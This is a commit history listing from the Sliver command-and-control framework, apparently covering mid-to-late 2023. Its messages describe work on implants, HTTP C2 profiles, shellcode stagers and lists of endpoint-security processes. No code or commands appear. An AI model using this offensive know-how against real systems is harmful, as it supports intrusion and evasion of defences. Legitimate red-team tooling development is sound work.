Compare commits

...
Author SHA1 Message Date
Joe ee2a72ff5f Merge branch 'master' into fix/kill 2023-11-16 07:30:29 -08:00
Joe 86507dc5c5 Merge pull request #1459 from BishopFox/fix_external_build
adapt external builds to support http c2 configuration and new build …
2023-11-16 07:29:36 -08:00
Tim Makram Ghatas d2b43ebb9f adapt external builds to support http c2 configuration and new build system 2023-11-15 23:46:28 +01:00
Joe 3a0ce8b890 Merge pull request #1402 from BishopFox/cc07dependabot/github_actions/actions/checkout-4
Bump actions/checkout from 3 to 4
2023-11-14 11:51:21 -08:00
Joe 623579affb Merge branch 'master' into cc07dependabot/github_actions/actions/checkout-4 2023-11-14 11:50:18 -08:00
Joe 632eacf3fd Merge pull request #1457 from BishopFox/allow_selective_staging
Allow selective staging
2023-11-14 11:49:55 -08:00
Joe 6918743f03 Merge branch 'master' into allow_selective_staging 2023-11-14 07:55:35 -08:00
Joe 5d333af798 Merge pull request #1456 from BishopFox/fix_profile_update
allow profile updates
2023-11-14 07:55:22 -08:00
Tim Makram Ghatas 68cddc1de2 Merge branch 'master' into allow_selective_staging 2023-11-13 23:54:47 +01:00
Tim Makram Ghatas c681fa68f3 Merge branch 'master' into fix_profile_update 2023-11-13 23:54:19 +01:00
Tim Makram Ghatas 8a04d8d882 removed unused http staging code and http stage flag. Added a new subcommand to implants, stage that allows to select which builds to exposed externally. ImplantBuilds now have a stage field marking whether they are available externally or not. 2023-11-13 23:53:05 +01:00
Joe b973e286cb Merge pull request #1455 from BishopFox/go/v1.21.4
Go/v1.21.4
2023-11-13 13:59:40 -08:00
Tim Makram Ghatas 49f9cf0963 Merge branch 'master' into fix_profile_update 2023-11-13 22:37:33 +01:00
Tim Makram Ghatas 5ffdcf8a7a allow profile updates 2023-11-13 22:36:07 +01:00
Joe 01656894ee Merge branch 'master' into go/v1.21.4 2023-11-13 11:16:10 -08:00
Joe d994f76920 Merge pull request #1454 from BishopFox/v1.6.0/http-c2
V1.6.0/http c2
2023-11-13 11:15:37 -08:00
Tim Makram Ghatas 6e40fcdf91 fix binary generation tests 2023-11-13 19:31:59 +01:00
Tim Makram Ghatas b6df1e2981 update go.mod and update WGImplantPrivKey reference to build object 2023-11-13 18:23:06 +01:00
moloch-- 56b84e44f3 Update makefile to require go 1.21.x 2023-11-10 18:36:40 -07:00
moloch-- 96896a7442 Go 1.21.4 2023-11-10 18:33:10 -07:00
moloch-- ac9b293942 Fix website pkg tests and MapContent, refactor naming 2023-11-10 16:53:11 -07:00
moloch-- ebf68f6b61 Fix println, dropped err 2023-11-10 16:27:21 -07:00
Tim Makram Ghatas e25e228f5c remove server side imports from utils package 2023-11-10 23:47:53 +01:00
Tim Makram Ghatas b84092b24b renamed resourceIDs 2023-11-10 23:34:12 +01:00
moloch-- eddfa20684 Move minisign to util/ 2023-11-10 15:31:35 -07:00
moloch-- 21468a6310 Duplicate minisign dep to client/ 2023-11-10 15:22:04 -07:00
Tim Makram Ghatas 48d7e7217c add option to save stage to disk 2023-11-10 22:39:26 +01:00
Tim Makram Ghatas a19fddfdba merge master 2023-11-10 22:36:04 +01:00
Ronan Kervella f944d24dc3 Merge pull request #1453 from D00Movenok/fix/implant_macos_proxy_log
Fix: removed implant macos and generic proxy logs when debug is disabled
2023-11-10 13:01:56 -08:00
D00Movenok 917586f2cc fix: removed implant macos and generic proxy logs when debug is disabled 2023-11-10 23:19:31 +03:00
Tim Makram Ghatas 4e56c69cfe implants now also display whether compression/encryption was used in display 2023-11-09 18:13:30 +01:00
Tim Makram Ghatas e6487fb01d implants command now displays resource id's 2023-11-09 17:16:00 +01:00
Tim Makram Ghatas d88011e140 remove http/s stage listeners 2023-11-09 16:44:15 +01:00
Tim Makram Ghatas 2c5c3ac997 Move stage generation server side and add a new subcommand for profiles to generate them 2023-11-09 01:41:14 +01:00
Tim Makram Ghatas 9178f6ea5b move keys to implant build (WG, MTLS and ECC) 2023-11-08 17:29:22 +01:00
Tim Makram Ghatas a691484f47 fix config reuse bug and duplicate c2 object creation 2023-11-07 01:08:37 +01:00
Tim Makram Ghatas 3442599ee8 add missing field in implantconfig protobuf 2023-11-06 14:26:16 +01:00
Tim Makram Ghatas d3f40963e3 fixed missing implant config id bug 2023-11-05 00:17:44 +01:00
Tim Makram Ghatas c83a0447b3 allow disabling http payload staging 2023-11-04 23:41:01 +01:00
Joe daaf6e27a2 Merge pull request #1447 from alrs/info-cmd-err
client/command/info: fix dropped errors
2023-11-03 08:59:21 -07:00
Joe 9d1fa0d016 Merge pull request #1445 from BishopFox/fix-1444
Fixing issue with User Agent in Implant Generation
2023-11-03 08:53:29 -07:00
Lars Lehtonen a13d63ee47 client/command/info: fix dropped errors
Signed-off-by: Lars Lehtonen <[email protected]>
2023-11-03 06:04:22 -07:00
Raf 4da9233563 Merge branch 'master' into fix-1444 2023-11-03 06:51:28 -04:00
Joe 16db6033a5 Merge pull request #1446 from luca994/fix-minpath-httpconf
Fixed min_path and max_path settings on http profile customization
2023-11-02 15:48:06 -07:00
Raf c1d1bf7873 Blocking backticks from user agent strings in the config so that we can support other characters that would normally need to be escaped. 2023-11-02 13:29:39 -04:00
Luca 3217ab53fe Fixed min_path and max_path settings on http profile customization 2023-11-02 16:55:41 +01:00
Raf d46e43dbd6 Changing the user agent declaration to use a different template that allows for other characters that would have to be escaped 2023-11-02 10:48:20 -04:00
Raf 070bac1bf3 Fixing issue #1444: making User Agent a string literal in generation code 2023-11-01 12:52:42 -04:00
Tim Makram Ghatas 9a63b64a39 remove implant builds when implant profiles are removed 2023-10-31 18:24:54 +01:00
Joe 9894d79dbf Merge pull request #1443 from BishopFox/1684dependabot/go_modules/google.golang.org/grpc-1.59.0
Bump google.golang.org/grpc from 1.56.1 to 1.59.0
2023-10-31 09:58:21 -07:00
Tim Makram Ghatas 4b0190b08c check implant exists before freeing up resources 2023-10-31 17:36:38 +01:00
dependabot[bot] 80dea74d97 Bump google.golang.org/grpc from 1.56.1 to 1.59.0
Bumps [google.golang.org/grpc](https://github.com/grpc/grpc-go) from 1.56.1 to 1.59.0.
- [Release notes](https://github.com/grpc/grpc-go/releases)
- [Commits](https://github.com/grpc/grpc-go/compare/v1.56.1...v1.59.0)

---
updated-dependencies:
- dependency-name: google.golang.org/grpc
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-10-31 15:29:09 +00:00
Joe db5d12d4b6 Merge pull request #1425 from BishopFox/ac46dependabot/go_modules/tailscale.com-1.50.1
Bump tailscale.com from 1.44.0 to 1.50.1
2023-10-31 08:26:27 -07:00
Joe 1c4503c1cc Merge branch 'master' into ac46dependabot/go_modules/tailscale.com-1.50.1
Signed-off-by: Joe <[email protected]>
2023-10-31 07:47:00 -07:00
Joe 13fb854b4e Merge pull request #1407 from BishopFox/heads-and-tails
Head and Tail commands
2023-10-31 07:46:30 -07:00
Raf d0574ffe48 Merge branch 'heads-and-tails' of ssh://github.com/BishopFox/sliver into heads-and-tails 2023-10-31 09:42:24 -04:00
Raf ba6b53d569 Merge branch 'master' into heads-and-tails 2023-10-31 09:40:55 -04:00
Tim Makram Ghatas 749c3b9247 fixed profile removal crash and automatically delete profile implantconfig 2023-10-31 12:46:12 +01:00
Tim Makram Ghatas 79ca1c9f72 update protobuf definitions for generate stage rpc call 2023-10-31 12:21:01 +01:00
Tim Makram Ghatas 7a6f2c3b53 resource id's no longer need to be prime 2023-10-31 11:59:17 +01:00
Joe e4ade4e8c9 Merge pull request #1440 from alrs/filesystem-cmd-err
client/command/filesystem: fix dropped error
2023-10-26 16:10:17 -07:00
Joe f4beecdc8a Merge branch 'master' into filesystem-cmd-err
Signed-off-by: Joe <[email protected]>
2023-10-26 08:38:32 -07:00
Joe 78627a6eff Merge pull request #1437 from testwill/ioutil
chore: remove refs to deprecated io/ioutil
2023-10-25 18:35:16 -07:00
Joe 77f2b7fd48 Merge branch 'master' into ioutil
Signed-off-by: Joe <[email protected]>
2023-10-25 16:37:55 -07:00
Lars Lehtonen 6f043f8406 client/command/filesystem: fix dropped error
Signed-off-by: Lars Lehtonen <[email protected]>
2023-10-24 15:14:47 -07:00
Tim Makram Ghatas 9870c254f6 remove save stager rpc call 2023-10-24 23:48:32 +02:00
Tim Makram Ghatas 99281bad0f removed name from implantconfig, implant names are only tied to builds 2023-10-24 23:41:37 +02:00
Tim Makram Ghatas 02d1eb5ba4 refactored generate rpc 2023-10-24 20:44:43 +02:00
Tim Makram Ghatas fce86738cc fix incorrect object reference error 2023-10-24 20:40:14 +02:00
Tim Makram Ghatas b723194931 fix implant config generation for stagers 2023-10-23 00:57:10 +02:00
Tim Makram Ghatas 7dc631077a renamed db functions for consistency 2023-10-22 21:30:16 +02:00
Tim Makram Ghatas e204247009 move implantbuild models to protobuf struct 2023-10-22 21:02:00 +02:00
Tim Makram Ghatas 504e5c7b32 check port is not in use before spawning listener 2023-10-22 17:47:39 +02:00
Tim Makram Ghatas fdec3cb317 Started moving all use of models.* structs to the models and helpers file. The goal of this commit is to eventually only use protobuf accross the entire project, in order to avoid mixing different structs for the same datatype accross the codebase. This also will allow switching backend if the project eventually moves away from an sql backend. 2023-10-22 15:37:21 +02:00
Ronan Kervella b7d0dcc5dd Merge pull request #1422 from BishopFox/grep
Adding the grep command
2023-10-20 10:23:46 -07:00
guoguangwu 0b7596373a fix: typo
Signed-off-by: guoguangwu <[email protected]>
2023-10-20 09:04:54 +08:00
Ronan Kervella d58c7b3bca Merge branch 'master' into heads-and-tails 2023-10-19 15:15:03 -07:00
Ronan Kervella c23a542233 Merge branch 'master' into grep 2023-10-19 15:12:56 -07:00
guoguangwu 5b415c5aa1 chore: remove refs to deprecated io/ioutil
Signed-off-by: guoguangwu <[email protected]>
2023-10-19 20:06:45 +08:00
Tim Makram Ghatas 6c77151b80 started moving c2profile to only use protobuf, fixed bug in http mainhandler and c2profile command now also displays poll extension 2023-10-17 00:52:13 +02:00
dependabot[bot] 5e7507ba4d Bump tailscale.com from 1.44.0 to 1.50.1
Bumps [tailscale.com](https://github.com/tailscale/tailscale) from 1.44.0 to 1.50.1.
- [Release notes](https://github.com/tailscale/tailscale/releases)
- [Commits](https://github.com/tailscale/tailscale/compare/v1.44.0...v1.50.1)

---
updated-dependencies:
- dependency-name: tailscale.com
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-10-16 16:04:58 +00:00
Joe 06d5a934be Merge pull request #1431 from BishopFox/35abdependabot/go_modules/golang.org/x/net-0.17.0
Bump golang.org/x/net from 0.11.0 to 0.17.0
2023-10-16 09:03:18 -07:00
Joe e804605d05 Merge pull request #1432 from BishopFox/go/v1.21.3
Go 1.21.3
2023-10-16 08:55:20 -07:00
Joe 35eac6f582 Merge branch 'master' into grep 2023-10-16 07:02:11 -07:00
Tim Makram Ghatas ff382e4029 Refactor websites to only use protobuf objects 2023-10-15 22:13:16 +02:00
Joe 5a5e8d2a04 Merge pull request #1420 from ssepi0l-pv/patch-1
Update install
2023-10-15 06:39:07 -07:00
Tim Makram Ghatas 05a69474e5 modify backend to server arbitrary stages for a given implant configuration 2023-10-15 08:22:49 +02:00
moloch-- 4516e4994d Garble v1.21.3 2023-10-13 16:24:34 +02:00
ssepi0l-pv 843e287f0c Merge branch 'master' into patch-1 2023-10-13 09:36:50 -03:00
Tim Makram Ghatas 47f19d477d switch to referencing builds by resource ID instead of profiles in staging requests and prepare rpc call to save stager builds 2023-10-13 12:01:07 +02:00
moloch-- aee2f78718 Go 1.21.3 2023-10-12 15:21:04 +02:00
dependabot[bot] 2edb14baa1 Bump golang.org/x/net from 0.11.0 to 0.17.0
Bumps [golang.org/x/net](https://github.com/golang/net) from 0.11.0 to 0.17.0.
- [Commits](https://github.com/golang/net/compare/v0.11.0...v0.17.0)

---
updated-dependencies:
- dependency-name: golang.org/x/net
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-10-11 22:50:09 +00:00
Ronan Kervella a2208280a0 Merge pull request #1430 from alrs/console-err
client/console: fix dropped error
2023-10-11 12:06:27 -07:00
Lars Lehtonen 0834b725fd client/console: fix dropped error 2023-10-11 09:44:18 -07:00
Tim Makram Ghatas a0fa261e32 display profile nonce 2023-10-08 21:03:08 +02:00
Tim Makram Ghatas c578c426dc fix stager listener url generationerror 2023-10-08 21:02:47 +02:00
Tim Makram Ghatas da9b72c72c modify stagerhandler to serve valid profile (without stage-listener mods) when the correct stager id is used as a nonce 2023-10-08 20:13:16 +02:00
Tim Makram Ghatas cb8170c27b change naming and type of encoder id's 2023-10-06 16:42:38 +02:00
Tim Makram Ghatas 03cfab5276 Merge branch 'master' into v1.6.0/http-c2 2023-10-06 16:16:38 +02:00
Tim Makram Ghatas 114ad3e6a1 remove resource id on profile deletion 2023-10-06 16:10:41 +02:00
Tim Makram Ghatas 3d6a8dda52 switch to uin64[] instead of int[] 2023-10-06 15:47:41 +02:00
Tim Makram Ghatas ea1fbf1d74 save implant id to profile during profile creation 2023-10-06 12:06:25 +02:00
Tim Makram Ghatas 49b8cd299a embed encoder id's during code rendering 2023-10-06 11:48:13 +02:00
Tim Makram Ghatas b8dcf756f7 generate encoder id's on server setup for backend 2023-10-06 11:04:08 +02:00
Tim Makram Ghatas 0b9d7cc603 added resource id queries and save 2023-10-04 23:02:05 +02:00
Tim Makram Ghatas 3ba3cf1177 create resourceID table 2023-10-04 22:56:28 +02:00
Raf 9c87c59ec6 grep: Print error messages from files that could not be read 2023-10-04 10:37:56 -04:00
Raf dd249088c3 Adding the client implementation for grep 2023-10-04 10:28:54 -04:00
Raf 914354222d Adding the grep command 2023-10-04 10:28:39 -04:00
ssepi0l-pv 369406928c Update install
Hello!
I wanted to commit these changes because I'd love to see official support for Arch Linux. I modified this script and installed Sliver on my system using it, so I know it works. Nevertheless, please do check it and try it yourselves! :)

Signed-off-by: ssepi0l-pv <[email protected]>
2023-10-04 09:40:47 -03:00
Tim Makram Ghatas f6ac166314 display c2 profile in profile details 2023-10-03 14:22:06 +02:00
Tim Makram Ghatas 3da9ffb7d3 added c2 profile flag to profile creation 2023-10-03 14:19:38 +02:00
Tim Makram Ghatas 01c813148b added watchtower configuration import/deletion/view 2023-09-29 13:32:30 +02:00
Tim Makram Ghatas 7fce95e707 allow overwriting c2 profiles on the fly 2023-09-28 18:19:11 +02:00
Joe 71ba959e12 Merge branch 'master' into heads-and-tails 2023-09-27 10:50:00 -07:00
Joe 5d40d41105 Merge pull request #1416 from BishopFox/e20adependabot/go_modules/github.com/klauspost/compress-1.17.0
Bump github.com/klauspost/compress from 1.16.6 to 1.17.0
2023-09-27 10:49:15 -07:00
Tim Makram Ghatas 237663be19 move job restart on profile import client side 2023-09-26 00:13:08 +02:00
Tim Makram Ghatas 96a6efae07 restart http/s listeners on c2 profile import 2023-09-25 12:35:02 +02:00
dependabot[bot] 3561461547 Bump github.com/klauspost/compress from 1.16.6 to 1.17.0
Bumps [github.com/klauspost/compress](https://github.com/klauspost/compress) from 1.16.6 to 1.17.0.
- [Release notes](https://github.com/klauspost/compress/releases)
- [Changelog](https://github.com/klauspost/compress/blob/master/.goreleaser.yml)
- [Commits](https://github.com/klauspost/compress/compare/v1.16.6...v1.17.0)

---
updated-dependencies:
- dependency-name: github.com/klauspost/compress
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-09-25 03:49:33 +00:00
Joe 1d9d5cf85a Merge branch 'master' into cc07dependabot/github_actions/actions/checkout-4 2023-09-20 20:34:14 -07:00
Tim Makram Ghatas e70a022981 add check for duplicate stager extension and duplicate c2 profile name 2023-09-18 22:07:44 +02:00
Ronan Kervella b0c3549b08 Merge branch 'master' into fix/kill 2023-09-18 12:51:41 -07:00
Tim Makram Ghatas d924d80ddb added dropdown to choose c2 profile 2023-09-18 21:08:59 +02:00
Joe b3acf2db1f Merge branch 'master' into heads-and-tails 2023-09-17 07:59:40 -07:00
Joe a670538a77 Merge pull request #1409 from BishopFox/download-filter-fix
Fix filters in the download command
2023-09-17 07:59:28 -07:00
Raf d6ea4794b7 Removed a check from the implant download code that broke filters 2023-09-15 09:10:42 -04:00
Tim Makram Ghatas 7b67ec872e save profile to database on import 2023-09-14 23:51:59 +02:00
Raf a2bbaa095e Fixing typo in tail command help 2023-09-14 12:05:20 -04:00
Tim Makram Ghatas e5a01ae244 moved c2profile struct to client assets 2023-09-14 17:31:55 +02:00
Tim Makram Ghatas 4bcefdddb5 fix circular dependency 2023-09-14 17:24:54 +02:00
Raf 8e64ab288d Adding the head and tail commands, fixing a small issue with download 2023-09-14 10:32:54 -04:00
Tim Makram Ghatas 1bba3532af fix profile parsing errors 2023-09-13 20:09:37 +02:00
Tim Makram Ghatas 002e38e0ac Merge branch 'master' into v1.6.0/http-c2 2023-09-13 19:18:23 +02:00
Tim Makram Ghatas 99817a5f35 implemented c2 profile import and display 2023-09-13 19:11:24 +02:00
Tim Makram Ghatas 4921fa4fcf display implant c2 profile in implants command 2023-09-13 14:35:57 +02:00
dependabot[bot] b044a4584b Bump actions/checkout from 3 to 4
Bumps [actions/checkout](https://github.com/actions/checkout) from 3 to 4.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v3...v4)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-09-11 03:13:23 +00:00
Tim Makram Ghatas eccc31f945 fix regression, http listener now uses correct port, and http headers are set when an associated profile can be found 2023-09-07 23:53:33 +02:00
Tim Makram Ghatas f2b42211d2 remove error handling statement 2023-09-06 14:54:10 +02:00
Tim Makram Ghatas b1ba761fff update handler to select session cookie based on profile 2023-09-04 23:36:18 +02:00
Tim Makram Ghatas 580d5128ba added main request handler for http profiles 2023-09-04 23:22:56 +02:00
Tim Makram Ghatas 67c519e8d6 add autocomplete for c2profile parameter during generation 2023-09-04 21:51:33 +02:00
Tim Makram Ghatas 4f9851215e merged master into branch 2023-09-04 20:41:33 +02:00
Joe f32d9a91ee Merge pull request #1399 from SpadesA99/SpadesA99-patch-1
Fix the process handle leak when using ps command on Windows
2023-09-01 09:28:50 -05:00
SpadesA99 f9c5daec39 Fix the process handle leak when using ps command on Windows
Signed-off-by: SpadesA99 <[email protected]>
2023-09-01 10:18:45 +08:00
Ronan Kervella f623b0cdce Merge pull request #1398 from realalexandergeorgiev/realalexandergeorgiev-patch-2
Update ps.go
2023-08-31 08:44:35 -07:00
Alexander Georgiev 9b5d4c3bab Update ps.go
Added more MDE processes

Signed-off-by: Alexander Georgiev <[email protected]>
2023-08-31 15:13:53 +02:00
Tim Makram Ghatas 29c2c9df76 merge master into branch 2023-08-30 19:19:50 +02:00
Tim Makram Ghatas 58b4596598 merged 1.6 master into branch 2023-08-30 14:34:47 +02:00
Joe a9f885a919 Merge pull request #1382 from BishopFox/go/v1.21.0
Go v1.21.0
2023-08-09 19:02:52 -05:00
moloch-- 5a532f77dc Go v1.21.0 2023-08-09 15:58:36 -07:00
Joe 375f6fd235 Merge pull request #1381 from BishopFox/cybereason
Added Cybereason ActiveProbe to known processes
2023-08-09 15:45:24 -05:00
c2biz 0a32ca109d Added Cybereason ActiveProbe to known processes 2023-08-09 16:01:03 -04:00
Joe d048427ebf Merge pull request #1284 from rwincey/notxt_dns
Notxt dns
2023-08-08 18:37:58 -05:00
Joe d22579c204 Merge pull request #1374 from BishopFox/mtls/lencheck
Add basic len check to mtls conn
2023-08-08 18:37:29 -05:00
Ronan Kervella fb5bd84811 Merge branch 'master' into fix/kill 2023-08-08 11:14:23 -07:00
Joe 1e79af3d89 Merge pull request #1375 from BishopFox/87c0dependabot/go_modules/github.com/tetratelabs/wazero-1.3.1
Bump github.com/tetratelabs/wazero from 1.2.1 to 1.3.1
2023-08-08 12:09:15 -05:00
Joe f018f86522 Merge branch 'master' into 87c0dependabot/go_modules/github.com/tetratelabs/wazero-1.3.1 2023-08-08 12:08:58 -05:00
Joe 584cacb7da Merge pull request #1377 from TheDuchy/master
Add the ability to generate .exe MSF stagers from Sliver
2023-08-08 12:08:13 -05:00
Ronan Kervella 714ab96270 Merge branch 'master' into mtls/lencheck 2023-08-08 09:59:30 -07:00
rkervella ae8444fc75 fix kill for sessions 2023-08-08 09:28:52 -07:00
duchy c7a2bbc46b Added ability to generate .exe stagers from MSF 2023-08-08 13:26:27 +02:00
dependabot[bot] 4458911e5c Bump github.com/tetratelabs/wazero from 1.2.1 to 1.3.1
Bumps [github.com/tetratelabs/wazero](https://github.com/tetratelabs/wazero) from 1.2.1 to 1.3.1.
- [Release notes](https://github.com/tetratelabs/wazero/releases)
- [Commits](https://github.com/tetratelabs/wazero/compare/v1.2.1...v1.3.1)

---
updated-dependencies:
- dependency-name: github.com/tetratelabs/wazero
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-08-07 03:50:35 +00:00
Joe 477df0eac9 Merge pull request #1335 from BishopFox/b6e0dependabot/go_modules/golang.org/x/crypto-0.11.0
Bump golang.org/x/crypto from 0.10.0 to 0.11.0
2023-08-04 15:50:22 -05:00
Joe 22286fdcdd Merge branch 'master' into b6e0dependabot/go_modules/golang.org/x/crypto-0.11.0
Signed-off-by: Joe <[email protected]>
2023-08-04 15:50:13 -05:00
Joe 150b62a0aa Merge pull request #1373 from BishopFox/fix/windows-assets-filepath
Use path.Join for embedded fs instead of filepath.Join
2023-08-04 15:47:44 -05:00
rkervella 270e9f2c5f Use path.Join for embedded fs instead of filepath.Join 2023-08-04 12:59:55 -07:00
Joe ce81ce5de0 Merge pull request #1372 from BishopFox/go/v1.20.7
Go 1.20.7
2023-08-04 09:13:05 -05:00
moloch-- 388b371573 Add basic len check to mtls conn 2023-08-03 17:32:57 -07:00
moloch-- a4425c169e Update go 2023-08-03 17:03:07 -07:00
Joe fd0e54c02c Merge branch 'master' into notxt_dns 2023-08-03 18:57:50 -05:00
Joe 59212f06fd Merge pull request #1339 from BishopFox/e3bddependabot/go_modules/golang.org/x/sys-0.10.0
Bump golang.org/x/sys from 0.9.0 to 0.10.0
2023-08-03 18:57:09 -05:00
Joe 0140bc2b8f Merge branch 'master' into e3bddependabot/go_modules/golang.org/x/sys-0.10.0 2023-08-03 18:56:54 -05:00
Ronan Kervella 4faaa4c075 Merge pull request #1368 from SpadesA99/master
Fix CP command file occupation
2023-08-01 18:51:13 -07:00
SpadesA99 ef1e12e6d4 Fix CP command file occupation
Signed-off-by: SpadesA99 <[email protected]>
2023-08-01 18:04:31 +08:00
Ronan Kervella 7741b0373f Merge branch 'master' into notxt_dns 2023-07-28 11:09:44 -07:00
Joe 4f2767ab59 Merge pull request #1356 from rarFood/master
fix 'gpg: invalid armor header'
2023-07-23 17:18:53 -05:00
rarFood 68f78e791f fix 'gpg: invalid armor header' 2023-07-21 11:21:05 -04:00
Ronan Kervella d28bac4259 Merge branch 'master' into e3bddependabot/go_modules/golang.org/x/sys-0.10.0 2023-07-19 08:35:23 -07:00
Ronan Kervella 00197deefb Merge branch 'master' into b6e0dependabot/go_modules/golang.org/x/crypto-0.11.0 2023-07-19 08:33:47 -07:00
Ronan Kervella 0bfbe9ecd4 Merge pull request #1350 from n3rada/install_script
Enhance the `install` script
2023-07-19 08:27:30 -07:00
Joe 88ac55a2f7 Merge branch 'master' into install_script 2023-07-16 08:19:40 -05:00
Ronan Kervella a1c19bc745 Merge pull request #1352 from xinhuang/pr/no-http-fallback-master
Add option to disable connect to tcp/80 when tcp/443 not reachable
2023-07-13 11:24:20 -07:00
Xin Huang 5a39e253bb Add no-fallback=true parameter for https beacons so they won't connect to TCP 80 if TCP 443 isn't reachable 2023-07-14 01:08:47 +09:00
n3rada 3b8912df4f Enhance the install script 2023-07-13 00:04:29 +02:00
Ronan Kervella 452ce12e9f Merge pull request #1346 from Paradoxis/feature/added-copy-command
Added a copy file command
2023-07-12 10:34:03 -07:00
Ronan Kervella aed28b0ff1 Merge branch 'master' into feature/added-copy-command 2023-07-12 09:21:18 -07:00
Ronan Kervella a2c3263619 Merge pull request #1345 from BishopFox/fix/pstree-1.6
Fix pstree (v1.6)
2023-07-12 08:49:33 -07:00
Paradoxis 300c2f7851 Titlecased copy message 2023-07-12 00:06:31 +02:00
Paradoxis b1d41f1032 Added a check to ensure two arguments are passed to CpCmd 2023-07-12 00:01:39 +02:00
Paradoxis 9054d11749 Moved constants to the end 2023-07-12 00:01:30 +02:00
Paradoxis c1f0b32c93 Added a copy file command 2023-07-11 23:55:00 +02:00
Ronan Kervella a3ecf3d593 Merge branch 'master' into fix/pstree-1.6 2023-07-11 14:23:49 -07:00
rkervella 1a43e70fd1 Fix pstree 2023-07-11 12:25:23 -07:00
Ronan Kervella 1fc7d881b2 Merge pull request #1341 from BishopFox/upload-fixes
Upload command: Changes to remote path specification
2023-07-11 08:43:26 -07:00
Raf 27254a2d89 upload: Fixing panic when remote path not specified, allowing for specification of a directory for remote path 2023-07-10 16:49:03 -04:00
dependabot[bot] 19573c9f20 Bump golang.org/x/sys from 0.9.0 to 0.10.0
Bumps [golang.org/x/sys](https://github.com/golang/sys) from 0.9.0 to 0.10.0.
- [Commits](https://github.com/golang/sys/compare/v0.9.0...v0.10.0)

---
updated-dependencies:
- dependency-name: golang.org/x/sys
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-07-10 03:36:14 +00:00
dependabot[bot] 0f11532e37 Bump golang.org/x/crypto from 0.10.0 to 0.11.0
Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.10.0 to 0.11.0.
- [Commits](https://github.com/golang/crypto/compare/v0.10.0...v0.11.0)

---
updated-dependencies:
- dependency-name: golang.org/x/crypto
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-07-10 03:35:37 +00:00
Joe c75cf89def Merge branch 'master' into notxt_dns 2023-07-08 11:27:04 -05:00
Joe 2c6cf1e96b Merge pull request #1332 from stephenbradshaw/stager-rc4-support
Add RC4 support to shellcode stager
2023-07-08 11:26:13 -05:00
Stephen Bradshaw bd4d5eca77 Add RC4 support to shellcode stager 2023-07-08 14:53:37 +10:00
Joe 514da3a682 Merge pull request #1324 from BishopFox/a8c6dependabot/go_modules/gorm.io/gorm-1.25.2
Bump gorm.io/gorm from 1.25.2-0.20230530020048-26663ab9bf55 to 1.25.2
2023-07-03 00:38:33 -05:00
Joe 5e691bdf25 Merge branch 'master' into a8c6dependabot/go_modules/gorm.io/gorm-1.25.2 2023-07-03 00:38:26 -05:00
Joe 0eb997388a Merge pull request #1325 from BishopFox/6595dependabot/go_modules/google.golang.org/protobuf-1.31.0
Bump google.golang.org/protobuf from 1.30.0 to 1.31.0
2023-07-03 00:38:10 -05:00
dependabot[bot] 33e6273c62 Bump google.golang.org/protobuf from 1.30.0 to 1.31.0
Bumps google.golang.org/protobuf from 1.30.0 to 1.31.0.

---
updated-dependencies:
- dependency-name: google.golang.org/protobuf
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-07-03 03:26:44 +00:00
dependabot[bot] 704d65059f Bump gorm.io/gorm from 1.25.2-0.20230530020048-26663ab9bf55 to 1.25.2
Bumps [gorm.io/gorm](https://github.com/go-gorm/gorm) from 1.25.2-0.20230530020048-26663ab9bf55 to 1.25.2.
- [Release notes](https://github.com/go-gorm/gorm/releases)
- [Commits](https://github.com/go-gorm/gorm/commits/v1.25.2)

---
updated-dependencies:
- dependency-name: gorm.io/gorm
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-07-03 03:26:39 +00:00
Joe dee7434bd8 Merge pull request #1323 from BishopFox/go/v1.20.5
Go v1.20.5
2023-07-01 17:33:57 -05:00
moloch-- 8b6b0d7a14 Go v1.20.5 2023-07-01 14:31:55 -07:00
Joe ccf53647b8 Merge pull request #1322 from BishopFox/multiplayer/tailscale
Multiplayer/Tailscale
2023-07-01 11:35:33 -05:00
Joe bfacc71048 Merge branch 'master' into notxt_dns 2023-06-29 09:18:11 -05:00
Joe f99b3cae9c Merge branch 'master' into notxt_dns 2023-06-26 14:26:42 -05:00
Joe 6bd1108152 Merge branch 'master' into notxt_dns 2023-06-20 16:29:33 -05:00
Joe 6db7861a70 Merge branch 'master' into notxt_dns 2023-06-20 13:56:16 -05:00
Tim Makram Ghatas aa2652e4e7 add default http c2 profile parameter for beacons 2023-06-11 19:28:55 -04:00
Tim Makram Ghatas c7531bdacf fixed http c2 randomizer and path segments length bug 2023-06-11 19:24:24 -04:00
Tim Makram Ghatas b7d8c535f0 retrieve monitor config from sqlite db on start command 2023-06-11 18:53:22 -04:00
Tim Makram Ghatas a1194c0c41 allow inserting, deleting and retrieving watchtower configurations from database 2023-06-11 18:44:12 -04:00
Tim Makram Ghatas aac5b227ca added rpc functions for watchtower configuration 2023-06-09 15:33:58 -04:00
Tim Makram Ghatas 20221a8a50 updated watchtower pb object, and added commands for listing adding and removing watchtower configuration 2023-06-09 15:28:50 -04:00
Tim Makram Ghatas fca1202cee added watchtower objects to sql db 2023-06-08 12:24:33 -04:00
Tim Makram Ghatas 6e49197b2c add protobuf definition for watchtower config 2023-06-07 18:01:50 -04:00
b0yd bbe5f4c7cf Removed unnecessary change 2023-06-07 10:15:09 -04:00
b0yd 66c521d719 Merge updates 2023-06-07 09:58:47 -04:00
Tim Makram Ghatas 25f7c6e63e switch to constants variable 2023-06-07 08:08:59 -04:00
